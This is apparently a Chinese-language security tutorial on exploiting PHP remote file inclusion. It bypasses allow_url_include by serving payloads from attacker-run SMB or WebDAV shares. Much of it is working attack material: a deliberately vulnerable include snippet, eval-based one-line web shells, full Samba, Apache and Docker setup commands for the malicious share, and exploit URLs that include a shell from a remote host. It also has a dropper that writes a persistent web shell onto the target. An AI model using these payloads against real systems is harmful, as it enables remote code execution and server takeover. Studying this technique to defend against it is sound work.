前言
關於遠程文件包含(Remote File Inclusion)漏洞,自從 php version 5.2 之後一直是一個比較雞肋的問題!!!直到2019年5月份,國外的一篇文章(RFI-SMB)和推文(Twitter)吸引了大家的注意,其大概內容主要是通過PHP遠程文件包含中 allow_url_fopen和allow_url_include 僅限制http://和ftp://的缺陷,利用SMB協議的文件共享進行繞過與包含。雖說,SMB如今在國內的局限性很大,但是在一定程度上,打破了RFI URL包含限制的局面,同時,也啟發了針對 RFI 的擴展利用和探索。正因如此,本文在其之前的基礎上又進行了拓展利用與探索,通過巧用WebDAV來繞過URL包含限制Getshell,打破了如今SMB的局限性。
RFI 基礎
四個函數PHP中引發文件包含漏洞的通常主要是以下四個函數:
http://www.php.net/manual/en/function.include.phphttp://php.net/manual/en/function.include-once.phphttp://php.net/manual/en/function.require.phphttp://php.net/manual/en/function.require-once.php函數功能當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等),都會直接作為php文件進行解析。
函數差異
include()
include() 函數包含出錯的話,只會提出警告,不會影響後續語句的執行
require()
require() 函數包含出錯的話,則會直接退出,後續語句不在執行
include_once() 和 require_once()require_once() 和 include_once() 功能與require() 和 include() 類似。但如果一個文件已經被包含過了,則 require_once() 和 include_once() 則不會再包含它,以避免函數重定義或變量重賦值等問題。
RFI 限制
用一個簡單的例子構造一個含有文件包含漏洞的Demo,演示一下遠程文件包含漏洞的利用,代碼如下:<?php $file = $_GET['file']; include $file;?>在上面的漏洞代碼中,file參數從GET請求中取值,並且是用戶可控的動態變量。當file接收到傳入的參數值後,include()函數會直接進行內容包含。由於,文件包含函數加載的參數file沒有經過任何的過濾或者嚴格的定義,可以由攻擊者進行控制發起惡意的請求,包含其它惡意文件,從而讓應用程式執行攻擊者精心準備的惡意腳本,具體如下:<?php @eval($_POST['Qftm']);?>https://www.qftm.com/index.php?file=http://10.10.10.10/shell.php通過上述請求,可以遠程包含一個shell,一旦攻擊者的惡意請求成功之後,可以達到任意代碼執行漏洞也就是RCE。雖然用戶沒有對文件參數進行控制,但是想要得到一個真正的RCE還需要滿足一個條件,如下php.ini配置:allow_url_fopen=Onallow_url_include=On只有當這兩個配置設置成On時,最終的漏洞才能利用成功,遺憾的是PHP官方在 php version 5.2 之後默認的關閉了allow_url_include,是不是突然感覺沒有了希望!!!不要放棄,下面利用我們強大的Bypass功能進行限制繞過。RFI 缺陷
對於RFI的缺陷,先來看一下PHP針對allow_url_fopen和allow_url_include的配置說明
allow_url_fopen=On
allow_url_include=Off從配置中可以看到 allow_url_fopen和allow_url_include主要是針對兩種協議起作用:http://、 ftp://。PHP針對RFI URL包含限制主要是利用allow_url_include=Off來實現,將其設置為Off,可以讓PHP不加載遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。那麼,我們是不是可以這樣想,有沒有什麼其它協議可以讓我們去包含遠程伺服器文件,答案是肯定的,例如SMB、WebDAV等協議。既然這樣,攻擊者就可以利用這個缺陷,使用相應的協議進行Bypass。在這個過程中,即使allow_url_fopen和allow_url_include都設置為Off,PHP也不會阻止相應的遠程文件加載。RFI 繞過
在介紹WebDAV Bypass的時候先來簡單了解一下SMB Bypass,因為他們利用道理都差不多。SMB BypassSMB協議主要於網絡文件的共享,SMB所在埠445。PHP在遠程匿名加載smb所共享的文件時並不會對其進行攔截。<?php $file=$_GET['file']; include $file;?>當易受攻擊的PHP應用程式代碼嘗試從攻擊者控制的SMB伺服器共享加載PHP Web shell時,SMB共享應該允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的SMB伺服器。因此,一旦易受攻擊的應用程式嘗試從SMB共享訪問PHP Web shell,SMB伺服器將不會要求任何憑據,易受攻擊的應用程式將包含Web shell的PHP代碼。首先,重新配置PHP環境,在php.ini文件中禁用allow_url_fopen以及allow_url_include。然後,配置SMB伺服器具有匿名讀訪問權限。首先,在受害者主機上配置php.ini,將allow_url_fopen和allow_url_include設置為Off
需要使用匿名讀取訪問權限配置SAMBA伺服器(Ubuntu18.04)
Samba是在Linux和UNIX系統上實現SMB協議的一個軟體
(2)創建SMB共享目錄和 php web shellmkdir /var/www/html/pub/touch /var/www/html/pub/shell.phpchmod 0555 /var/www/html/pub/
(4)編輯samba配置文件 /etc/samba/smb.conf
chown -R nobody:nogroup /var/www/html/pub/[global]workgroup = WORKGROUPserver string = Samba Server %vnetbios name = indishell-labsecurity = usermap to guest = bad username resolve order = bcast hostdns proxy = nobind interfaces only = yes
[Qftm]path = /var/www/html/pubwritable = noguest ok = yesguest only = yesread only = yesdirectory mode = 0555force user = nobody(5)重新啟動SAMBA伺服器以應用配置文件/etc/samba/smb.conf中的新配置成功重新啟動SAMBA伺服器後,嘗試訪問SMB共享並確保SAMBA伺服器不要求憑據。在環境都配置完且驗證之後,利用samba目錄/var/www/html/pub中共享的WebShell進行GetShell<?php @eval($_POST['admin']);?>針對smb利用的局限性,因為這種unc只能是在windows下使用,而且,smb埠(445) 在國內已經被封殺的差不多了(勒索病毒!!!),很難應用到實際中,但是其他的像webdav這種同理也是可以被包含的,且利用的價值更大。WebDAV BypassWebDAV(Web 分布式創作和版本管理)是一項基於 HTTP/1.1 協議的通信協議。它擴展了HTTP/1.1 協議,在Get、Post、Put、Delete 等HTTP標準方法外添加了新方法,使應用程式可對Web Server直接讀寫,並支持寫文件鎖定(Locking)和解鎖(Unlock),以及文件的版本控制。PHP在遠程匿名加載WebDAV所共享的文件時並不會對其進行攔截。<?php $file=$_GET['file']; include $file;?>當易受攻擊的PHP應用程式代碼嘗試從攻擊者控制的WebDAV伺服器共享加載PHP Web shell時,WebDAV共享應該允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的WebDAV伺服器。因此,一旦易受攻擊的應用程式嘗試從WebDAV共享訪問PHP Web shell,WebDAV伺服器將不會要求任何憑據,易受攻擊的應用程式將包含Web shell的PHP代碼。同SMB環境配置一樣,首先,重新配置PHP環境,在php.ini文件中禁用allow_url_fopen以及allow_url_include。然後,配置WebDAV伺服器。首先,在受害者主機上配置php.ini,將allow_url_fopen和allow_url_include設置為Off1、Ubuntu18.04手動搭建WebDAV伺服器sudo apt-get install -y apache2sudo a2enmod davsudo a2enmod dav_fs(3)創建WebDAV共享目錄webdav和 php web shellsudo mkdir -p /var/www/html/webdavsudo touch /var/www/html/webdav/shell.php(4)將文件夾所有者更改為您的Apache用戶,www-data以便Apache具有對該文件夾的寫訪問權sudo chown -R www-data:www-data /var/www/(5)編輯WebDAV配置文件 /etc/apache2/sites-available/000-default.confDavLockDB /var/www/html/DavLock<VirtualHost *:80>
ServerAdmin webmaster@localhost DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined
Alias /webdav /var/www/html/webdav <Directory /var/www/html/webdav> DAV On </Directory></VirtualHost>sudo service apache2 restart成功重新啟動Apache伺服器後,嘗試訪問WebDAV共享並確保WebDAV伺服器不要求憑據。除了上面在Ubuntu上一步步安裝WebDAV伺服器外,還可以利用做好的Docker鏡像。推薦使用Docker鏡像方式去安裝利用,免去一些因環境或配置不當而產生的問題鏡像地址:https://hub.docker.com/r/bytemark/webdavdocker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav(3)在~/webdav/data目錄裡面共享自己php腳本在環境都配置完且驗證之後,利用webdav目錄~/webdav/data中共享的WebShell進行GetShellhttp://127.0.0.1/FI/index.php?file=//172.17.0.2//webdav/shell.php<?php echo eval(system("whoami"));phpinfo();?><?PHP fputs(fopen('poc.php','w'),'<?php @eval($_POST[Qftm])?>');?>為什麼這個不能直接加載一句話木馬呢,因為使用PHP文件包含函數遠程加載Webdav共享文件時,不能附加消息(GET/POST),但是我們可以自定義shell.php,通過伺服器加載遠程shell.php給我們自動生成一個Webshell。從圖中可以看到遠程加載shell.php利用成功,可以根據狀態碼分析其加載過程:其中code 207是由WebDAV(RFC 2518)擴展的狀態碼,代表之後的消息體將是一個XML消息,並且可能依照之前子請求數量的不同,包含一系列獨立的響應代碼。連接遠程加載shell.php生成的Webshell->poc.shellwebdav如今很多人都將其作為自己的個人數據共享存儲伺服器,其局限性遠遠小於SMB。
Refference
http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx